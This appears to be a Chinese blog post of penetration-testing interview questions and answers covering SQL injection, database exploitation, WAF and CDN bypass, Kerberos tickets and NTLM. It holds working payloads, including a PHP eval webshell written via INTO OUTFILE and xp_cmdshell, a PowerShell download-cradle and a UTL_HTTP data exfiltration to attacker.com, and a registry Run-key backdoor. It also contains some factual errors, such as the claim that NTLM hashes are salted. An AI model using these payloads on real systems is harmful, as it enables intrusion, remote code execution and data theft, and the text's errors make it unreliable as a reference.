当前位置: 首页 > article >正文

2025年渗透测试面试题总结-某奇安信-Ateam(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

奇安信-Ateam

一、SQL注入攻防技术体系

1.1 SQL注入类型矩阵(基于利用方式)

1.1.1 典型利用方式

1.2 SQL写马技术路径

1.2.1 数据库特性写文件

1.2.2 Web服务漏洞结合

二、数据库高级利用技术

2.1 Oracle注入扩展利用

2.1.1 典型攻击场景

2.2 SQL Server获取Shell方法

2.2.1 现代攻击技术

三、协议与策略绕过技术

3.1 同源策略绕过方式

3.1.1 高级绕过技术

四、渗透测试全流程解析

4.1 完整渗透流程框架

4.1.1 后渗透关键操作

五、WAF绕过技术进阶

5.1 语义检测绕过矩阵

5.1.1 现代绕过技术

六、预编译场景注入可能性

6.1 预编译失效场景分析

6.1.1 安全解决方案

七、并发模型技术对比

7.1 多线程 vs 协程

八、Kerberos票据攻防

8.1 黄金票据与白银票据对比

8.1.1 检测防御方案

九、Windows认证协议演进

9.1 LM Hash与NTLM Hash对比

十、CDN绕过技术全景

10.1 CDN绕过方法矩阵

10.1.1 高级技术补充

奇安信-Ateam

sql注入基于利用方式而言有哪些类型?
sql注入写马有哪些方式
oracle注入除了注入数据之外有哪些直接利用的方式?sqlserver获取shell的方式?
同源策略的绕过方式
完整渗透测试流程思路(拿shell到后渗透流程)
如何绕过基于语义检测的waf,比如雷池,阿里云等
预编译场景下是否存在sql注入(如果存在可控数据呢?)
多线程和协程的区别
黄金票据和白银票据的区别
php中LM hash和NTLM hash的区别
CDN的绕过方式

一、SQL注入攻防技术体系

1.1 SQL注入类型矩阵(基于利用方式)

mermaidgraph TD A[SQL注入类型] --> B(联合查询注入) A --> C(报错注入) A --> D(布尔盲注) A --> E(时间盲注) A --> F(堆叠注入) A --> G(二阶注入) B --> B1(通过UNION扩展结果集) C --> C1(利用数据库报错函数) D --> D1(基于布尔逻辑判断) E --> E1(利用延时函数探测) F --> F1(多语句执行) G --> G1(存储过程二次触发)
1.1.1 典型利用方式
  • 联合查询注入
    sql' UNION SELECT username,password FROM users-- 
  • 报错注入(MySQL示例):
    sqlAND updatexml(1,concat(0x7e,version()),1)
  • 时间盲注(Oracle示例):
    sqlCASE WHEN ASCII(SUBSTR((SELECT user FROM dual),1,1))=83 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) END 

1.2 SQL写马技术路径

1.2.1 数据库特性写文件
数据库类型写文件方法前提条件
MySQLSELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'secure_file_priv为空
SQL ServerEXEC xp_cmdshell 'echo ^<?php eval($_POST[cmd]);?^> > C:\inetpub\shell.php'开启xp_cmdshell组件
OracleUTL_FILE.PUT_LINE('/webroot','shell.jsp','<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>')DBA权限且目录权限开放
1.2.2 Web服务漏洞结合
  • 通过LOAD_FILE()读取Web路径配置
  • 利用文件上传漏洞写入Web目录
  • 注入点配合Web框架模板渲染漏洞

二、数据库高级利用技术

2.1 Oracle注入扩展利用

mermaidgraph LR A[Oracle注入利用] --> B(执行系统命令) A --> C(文件读写) A --> D(权限提升) A --> E(网络探测) B --> B1(Java存储过程调用) C --> C1(UTL_FILE包操作) D --> D1(利用DBMS_JOB提权) E --> E1(UTL_HTTP发起请求)
2.1.1 典型攻击场景
  • 命令执行
    sqlCREATE OR REPLACE JAVA SOURCE NAMED "Exec" AS import java.lang.*;... 
  • SMB Relay攻击
    sqlUTL_HTTP.REQUEST('http://attacker.com/' ||SYS_CONTEXT('USERENV','OS_USER'))

2.2 SQL Server获取Shell方法

mermaidgraph TB A[Shell获取方式] --> B(启用xp_cmdshell) A --> C(OLE自动化) A --> D(CLR集成) B --> B1(EXEC sp_configure 'xp_cmdshell',1) C --> C1(使用sp_OACreate执行命令) D --> D1(加载.NET程序集)
2.2.1 现代攻击技术
  • PowerShell注入
    sqlEXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"' 
  • 注册表持久化
    sqlEXEC xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','backdoor','REG_SZ','C:\shell.exe' 

三、协议与策略绕过技术

3.1 同源策略绕过方式

mermaidgraph LR A[同源策略绕过] --> B(CORS配置错误) A --> C(JSONP劫持) A --> D(postMessage滥用) B --> B1(Access-Control-Allow-Origin: *) C --> C1(未校验回调函数名) D --> D1(跨窗口消息监听)
3.1.1 高级绕过技术
  • DNS Rebinding攻击:利用TTL过期重新绑定IP
  • WebSocket协议滥用:建立跨域双向通信通道
  • Service Worker劫持:通过注册恶意worker缓存敏感数据

四、渗透测试全流程解析

4.1 完整渗透流程框架

mermaidgraph TD A[信息收集] --> B(漏洞扫描) B --> C(漏洞利用) C --> D(权限维持) D --> E(横向移动) E --> F(数据窃取) F --> G(痕迹清除) A --> A1(域名/IP资产发现) A1 --> A2(端口服务扫描) B --> B1(SQL注入/XSS检测) C --> C1(Metasploit利用) D --> D1(后门/Webshell部署) E --> E1(Pass-the-Hash攻击)
4.1.1 后渗透关键操作
  • 黄金票据攻击:伪造TGT票据实现域控持久化
  • LSASS内存提取:使用Mimikatz获取明文凭证
  • WMI事件订阅:创建永久后门

五、WAF绕过技术进阶

5.1 语义检测绕过矩阵

绕过类型技术实现典型案例
注释分割SEL/**/ECT绕过关键字检测
十六进制编码0x732F6C6F67696E → 's/login'混淆敏感字符串
数据库特性利用MySQL的/*!50000SELECT*/版本特异性语法
协议级混淆HTTP分块传输编码绕过内容长度检测
逻辑绕过WHERE 1=1 AND (SELECT ...)构造复杂条件表达式
5.1.1 现代绕过技术
  • Unicode规范化攻击:利用字符编码差异
    sql%u0053%u0045%u004c%u0045%u0043%u0054 → SELECT 
  • JSON格式注入
    httpPOST /api HTTP/1.1 {"query":"admin' AND 1=CONVERT(int,@@version)--"}

六、预编译场景注入可能性

6.1 预编译失效场景分析

mermaidgraph LR A[预编译失效点] --> B(动态表名) A --> C(排序参数) A --> D(批量插入) A --> E(IN语句参数) B --> B1(String query = "SELECT * FROM "+tableName) C --> C1("ORDER BY "+sortField) D --> D1("INSERT INTO t VALUES (?,?), (?,?)") E --> E1("WHERE id IN ("+params+")")
6.1.1 安全解决方案
  • 白名单校验:对表名/列名进行严格过滤
  • 参数化拼接:使用框架提供的安全方法
    python# SQLAlchemy示例 stmt = text("SELECT * FROM table WHERE id=:id").bindparams(id=value)

七、并发模型技术对比

7.1 多线程 vs 协程

维度多线程协程
调度机制操作系统内核调度用户态协作式调度
上下文切换成本高(涉及内核模式切换)低(仅寄存器保存)
内存占用每个线程约1MB栈内存通常小于10KB
并发处理能力千级并发百万级并发
适用场景CPU密集型任务I/O密集型任务

八、Kerberos票据攻防

8.1 黄金票据与白银票据对比

mermaidgraph LR A[黄金票据] --> B(需要krbtgt哈希) A --> C(生成任意服务TGT) A --> D(权限最大) E[白银票据] --> F(需要服务哈希) E --> G(生成特定服务ST) E --> H(隐蔽性更强)
8.1.1 检测防御方案
  • 票据有效期检测:黄金票据有效期通常设置为10年
  • SPN变更监控:白银票据依赖特定服务主体名称
  • AES256加密强制:防止RC4-HMAC降级攻击

九、Windows认证协议演进

9.1 LM Hash与NTLM Hash对比

特征LM HashNTLM Hash
加密算法DESMD4
密码处理分割为两个7字符块完整Unicode编码
抗彩虹表能力弱(已被广泛破解)较强(使用salt)
现代系统支持Vista后默认禁用仍广泛使用
存储格式AAD3B435B51404EEAAD3B435B51404EE32位十六进制字符串

十、CDN绕过技术全景

10.1 CDN绕过方法矩阵

mermaidgraph TD A[CDN绕过] --> B(子域名探测) A --> C(历史DNS查询) A --> D(邮件服务器IP) A --> E(国外访问) B --> B1(www.test.com 使用CDN但api.test.com 未使用) C --> C1(SecurityTrails查询历史A记录) D --> D1(MX记录解析获取真实IP) E --> E1(目标仅部署国内CDN节点)
10.1.1 高级技术补充
  • SSL证书关联:通过证书颁发者信息关联真实IP
  • HTTP头差异:对比CDN节点与源站Server头
  • CloudFlare特定绕过
    bash# 使用CloudFlair工具 cloudflair -d target.com -c /path/to/certificate.pem 

相关文章:

2025年渗透测试面试题总结-某奇安信-Ateam(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 奇安信-Ateam 一、SQL注入攻防技术体系 1.1 SQL注入类型矩阵&#xff08;基于利用方式&#xff09; …...

前端工程化--gulp的使用

gulp 介绍 gulp 是一个基于 Nodejs 的自动化构建工具&#xff0c;中文主页能自动化地完成 javascript/coffee/sass/less/html/image/css 等文件的合并、压缩、检查、监听文件变化、浏览器自动刷新、测试等任务 使用步骤&#xff1a; 安装 nodejs 全局安装 gulp npm install…...

谈谈对spring IOC的理解,原理和实现

一、IoC 核心概念 1. 控制反转&#xff08;Inversion of Control&#xff09; 传统编程中对象自行管理依赖&#xff08;主动创建&#xff09;&#xff0c;而IoC将控制权转移给容器&#xff0c;由容器负责对象的创建、装配和管理&#xff0c;实现依赖关系的反向控制。 2. 依赖…...

Windows 10 ARM64平台MFC串口程序开发

Windows 10 IoT ARM64平台除了支持新的UWP框架&#xff0c;也兼容支持老框架MFC。使得用户在Windows 10 IoT下可以对原MFC工程进行功能升级&#xff0c;不用在新框架下重写整个工程。熟悉MFC开发的工程师也可以在Windows 10 IoT平台下继续使用MFC进行开发。 本文展示MFC串口程序…...

31天Python入门——第16天:模块与库详解

你好&#xff0c;我是安然无虞。 文章目录 Python模块模块之间的调用 Python包库的概念Python标准库安装第三方库 \_\_name\_\_ \_\_main\_\_ Python模块 在 Python 中, 模块是一个包含函数、变量和类等代码定义的py文件. 所以也可以说, 普通的py文件就是一个模块. 模块可以…...

设计模式(创建型)- 原型模式

目录 定义 类图 角色 优缺点 优点 缺点 应用场景 案例展示 浅克隆 深克隆 定义 原型模式旨在创建重复的对象&#xff0c;同时确保良好的性能表现。它通过复制现有对象&#xff08;原型&#xff09;来创建新对象&#xff0c;而非使用传统的构造函数创建方式。这种设计…...

Redis + Caffeine多级缓存电商场景深度解析

Redis Caffeine多级缓存 Redis Caffeine多级缓存电商场景深度解析一、实施目的二、具体实施2.1 架构设计2.2 组件配置2.3 核心代码实现 三、实施效果3.1 性能指标对比3.2 业务指标改善3.3 系统稳定性 四、关键策略4.1 缓存预热4.2 一致性保障4.3 监控配置Prometheus监控指标 …...

spring-ai ollama小试牛刀

序 本文主要展示下spring-ai ollama的使用 示例 pom.xml <dependency><groupId>org.springframework.ai</groupId><artifactId>spring-ai-ollama-spring-boot-starter</artifactId></dependency>这里以ollama示例 配置 spring:ai:olla…...

在 CentOS 系统中开机自动执行 Shell 脚本

在 CentOS 系统中&#xff0c;可以通过以下方法设置开机自动执行 Shell 脚本。推荐使用 systemd 服务&#xff08;现代 Linux 系统的标准方式&#xff09;&#xff0c;也可以使用传统的 /etc/rc.local 方法。 方法 1&#xff1a;使用 Systemd 服务&#xff08;推荐&#xff09;…...

【Linux】应用层协议 HTTP

应用层协议 HTTP 一. HTTP 协议1. URL 地址2. urlencode 和 urldecode3. 请求与响应格式 二. HTTP 请求方法1. GET 和 POST (重点) 三. HTTP 状态码四. HTTP 常见报头五. 手写 HTTP 服务器 HTTP&#xff08;超文本传输协议&#xff09;是一种应用层协议&#xff0c;用于在万维网…...

Linux下的socket演示程序3(udp)

server.cpp #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h>#define SER_PORT 8888 //端口号 #define SER_IP "10.148.4.168" //服务器IP…...

数据可视化TensorboardX和tensorBoard安装及使用

tensorBoard 和TensorboardX 安装及使用指南 tensorBoard 和 TensorBoardX 是用于可视化机器学习实验和模型训练过程的工具。TensorBoard 是 TensorFlow 官方提供的可视化工具&#xff0c;而 TensorBoardX 是其社区驱动的替代品&#xff0c;支持 PyTorch 等其他框架。以下是它…...

【Hugging Face 开源库】Diffusers 库 —— 扩散模型

Diffusers 的三个主要组件1. DiffusionPipeline&#xff1a;端到端推理工具__call__ 函数callback_on_step_end 管道回调函数 2. 预训练模型架构和模块UNetVAE&#xff08;Variational AutoEncoder&#xff09;图像尺寸与 UNet 和 VAE 的关系EMA&#xff08;Exponential Moving…...

AWTK-WEB 快速入门(6) - JS WebSocket 应用程序

WebSocket 可以实现双向通信&#xff0c;适合实时通信场景。本文介绍一下使用 Javacript 语言开发 AWTK-WEB 应用程序&#xff0c;并用 WebSocket 与服务器通讯。 用 AWTK Designer 新建一个应用程序 先安装 AWTK Designer&#xff1a; https://awtk.zlg.cn/web/index.html …...

tcl语法中的命令

tcl语法中存在多少个命令呢&#xff1f; 如下&#xff0c; after errorInfo load pwd tcl_rcFileName append eval lrange re_syntax tcl_startOfNextWord apply exec lrepeat read tcl_startOfPreviousWord argc exit lreplace refchan tcl_traceCompile argv expr lreverse r…...

ESLint报错:Could not find config file.

如果你的ESLint的版本大于 8&#xff0c;同时使用 .eslinrc.js 和 .eslintignore 作为配置文件&#xff0c;且目前用的是 VSCODE &#xff0c;就有可能遇到报错&#xff1a; Could not find config file. 这个是因为 VSCode 中 ESLint 插件的配置 eslint.useFlatConfig 的问题…...

北斗导航 | 基于北斗三号短报文通信的北斗-YOLO融合系统原理,算法公式,系统流程框图,matlab代码,应用场景

以下是关于基于北斗三号短报文通信的北斗-YOLO融合系统的详细解析,包含原理、算法公式、系统流程、Matlab代码框架和应用场景。一、系统原理 北斗-YOLO融合系统结合了北斗三号短报文通信(双向通信能力)和YOLO目标检测算法,用于在无地面网络覆盖区域实现实时目标检测与数据传…...

Vue3 中使用 vuedraggable 实现拖拽排序功能,分组拖拽

Vue3 中使用 vuedraggable 实现拖拽排序功能&#xff0c;分组拖拽 安装draggable npm install vuedraggablenext --save基础用法示例 <template><div class"app-container"><draggable v-model"list" item-key"id":group"…...

使用VSCODE导致CPU占用率过高的处理方法

1&#xff1a;cpptools 原因&#xff1a;原因是C/C会在全局搜索文件&#xff0c;可以快速进行跳转&#xff1b;当打开的文件过大&#xff0c;全局搜索文件会占用大量CPU&#xff1b; 处理方法&#xff1a; 1&#xff1a;每次只打开小文件夹&#xff1b; 2&#xff1a;打开大文…...

【力扣hot100题】(004)盛水最多的容器

现在能这么快做出来纯粹是因为当时做的时候给我的印象实在太深了。 犹记得这题是当年开启我用CSDN记录leetcode日记历史的开端。 总之印象太深了不会都不行啊&#xff01;&#xff01;记得当年是想到用各种动态规划回溯等等等等最终发现是最简单贪心和双指针。 解法也是非常简…...

用Deepseek写扫雷uniapp小游戏

扫雷作为Windows系统自带的经典小游戏&#xff0c;承载了许多人的童年回忆。本文将详细介绍如何使用Uniapp框架从零开始实现一个完整的扫雷游戏&#xff0c;包含核心算法、交互设计和状态管理。无论你是Uniapp初学者还是有一定经验的开发者&#xff0c;都能从本文中获得启发。 …...

宝塔面板部署 Laravel 项目无法访问静态资源的解决方法

提示:“奔跑吧邓邓子” 的常见问题专栏聚焦于各类技术领域常见问题的解答。涵盖操作系统(如 CentOS、Linux 等)、开发工具(如 Android Studio)、服务器软件(如 Zabbix、JumpServer、RocketMQ 等)以及远程桌面、代码克隆等多种场景。针对如远程桌面无法复制粘贴、Kuberne…...

C/C++中的条件编译指令#if

#if 是 C/C 中的预处理指令&#xff0c;用于条件编译。它允许根据预定义的条件来决定是否编译某段代码。#if 通常与 #define、#ifdef、#ifndef、#else 和 #endif 等指令一起使用。 基本语法 #if 条件表达式// 如果条件表达式为真&#xff0c;编译这部分代码 #else// 如果条件…...

【设计模式】策略模式(Strategy Pattern)详解

策略模式&#xff08;Strategy Pattern&#xff09;详解 一、策略模式的定义 策略模式&#xff08;Strategy Pattern&#xff09;是一种行为型设计模式&#xff0c;它定义了一组算法&#xff0c;将每个算法封装起来&#xff0c;并使它们可以相互替换&#xff0c;从而让算法的…...

Eclipse IDE for ModusToolbox™ 3.4环境通过JLINK调试CYT4BB

使用JLINK在Eclipse IDE for ModusToolbox™ 3.4环境下调试CYT4BB&#xff0c;配置是难点。总结一下在IDE中配置JLINK调试中遇到的坑&#xff0c;以及如何一步一步解决遇到的问题。 1. JFLASH能够正常下载程序 首先要保证通过JFLASH(我使用的J-Flash V7.88c版本)能够通过JLIN…...

修改git在提交代码时的名称

在git中&#xff0c;如果想修改提交代码作者的名字&#xff0c;可以进行以下操作&#xff1a; 1.在桌面或者文件夹内右击鼠标&#xff0c;点开Git Bash here。 2.进入后&#xff0c;通过git config user.name 回车查看当前名称。 3.通过git config --global user.name "…...

前端显示no data(没有数据,一片空白)

◎浏览器查看显示 message: "Request failed with status code 404", name: "AxiosError", code: "ERR_BAD_REQUEST" ◎后端gateway 模块显示: 无需验证&#xff0c;通行。/business/admin/save 显示正确的路径&#xff0c;但是没有返回结果…...

CCF编程能力等级认证GESP—C++7级—20250322

CCF编程能力等级认证GESP—C7级—20250322 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09;判断题&#xff08;每题 2 分&#xff0c;共 20 分&#xff09;编程题 (每题 25 分&#xff0c;共 50 分)图上移动等价消除 单选题&#xff08;每题 2 分&#xff0c;共 …...

【Linux】深入解析Linux命名管道(FIFO):原理、实现与实战应用

本文承接上文匿名管道&#xff1a;【Linux】深度解析Linux进程间通信&#xff1a;匿名管道原理、实战与高频问题排查-CSDN博客 深入探讨Linux进程间通信&#xff08;IPC&#xff09;&#xff0c;以匿名管道为核心&#xff0c;详细阐述其通信目的、实现前提及机制。涵盖数据传输…...

第十四届蓝桥杯省赛电子类单片机学习记录(客观题)

01.一个8位的DAC转换器&#xff0c;供电电压为3.3V&#xff0c;参考电压2.4V&#xff0c;其ILSB产生的输出电压增量是&#xff08;D&#xff09;V。 A. 0.0129 B. 0.0047 C. 0.0064 D. 0.0094 解析&#xff1a; ILSB&#xff08;最低有效位&#xff09;的电压增量计算公式…...